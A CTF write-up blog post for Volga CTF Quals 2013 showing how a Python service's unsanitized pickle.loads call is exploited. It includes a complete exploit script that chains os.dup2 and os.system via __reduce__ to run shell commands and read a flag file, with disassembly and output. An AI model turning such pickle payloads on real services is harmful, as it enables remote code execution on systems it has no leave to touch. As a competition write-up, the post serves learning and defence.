Saturday, May 4, 2013

Volga CTF Quals 2013 - Exploitation 100 - [Team xbios]

Description:
You have a nice service that transforms any messages into a simple Morse-like code for further usage. It seems to work pretty well but sometimes it can return something unusual. Find out what can make it work wrong and what it returns in this case. 10.13.0.5:6000

The source code of the service is given and its written in python. Vulnerability is easy to spot, the server.py file uses python pickles. Here is a section of code from server.py
while True:
    s_client, addrinfo = s.accept()
    os.fork()
    data = s_client.recv(1024)
    if data:
        try:
            print data + '\n from ' + str(addrinfo)
            print len(data)
            msg = pickle.loads(data) # code execution vulnerability 
            print str(msg)
            proc = Processor()
            response = proc.process(msg)
            s_client.send(response)
Here data passed to pickle.loads(data) is not sanitized. Details of exploiting python pickle is found in paper Sour Pickles and blog.nelhage.com. We tried using linux features to get a connect back shell and leak data through out of band traffic using wget and curl to make http requests. But both the attempt failed. Finally, this is the idea of our exploit

[*] dup2 stdout and socket descriptor
[*] execute commands using system() function and read the output from the socket

Below is the exploit we used:
#!/usr/bin/env python
# exploit.py

import pickle
import socket
import os

ip = "10.13.0.5"
#ip = "127.0.0.1"
port = 6000

soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip, port))

class payload_dup2(object):
    def __reduce__(self):
        return (os.dup2, (5,1,))

class payload_system(object):
    def __reduce__(self):
        com = "cat flag.txt"
        return (os.system, (com,))

payload  = pickle.dumps(payload_dup2())[:-1] #  remove the STOP marker
payload += pickle.dumps(payload_system())
print repr(payload)

soc.send(payload + '\n')
print soc.recv(1024)
Remove STOP marker from the dup2() pickled data, then append payload for system() with it .Pickle'd data is slightly modified to bypass sanity checks and can be analysed using pickletools.dis()
>>> pickletools.dis("cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np3\n(S'cat flag.txt'\np4\ntp5\nRp6\nR.")
    0: c    GLOBAL     'posix dup2'
   12: p    PUT        0
   15: (    MARK
   16: I        INT        5
   19: I        INT        1
   22: t        TUPLE      (MARK at 15)
   23: p    PUT        1
   26: R    REDUCE
   27: p    PUT        2
   30: c    GLOBAL     'posix system'
   44: p    PUT        3
   47: (    MARK
   48: S        STRING     'cat flag.txt'
   64: p        PUT        4
   67: t        TUPLE      (MARK at 47)
   68: p    PUT        5
   71: R    REDUCE
   72: p    PUT        6
   75: R    REDUCE
   76: .    STOP
highest protocol among opcodes = 0
[ctf@renorobert exploit100]$ python exploit.py  # ls
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n."
flag.txt
message.py
message.pyc
processor.py
processor.pyc
server.py

[ctf@renorobert exploit100]$ python exploit.py  # cat flag.txt
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'cat flag.txt'\np1\ntp2\nRp3\n."
Iame@tt$ke][ack3R
The flag for the challenge is Iame@tt$ke][ack3R

No comments :

Post a Comment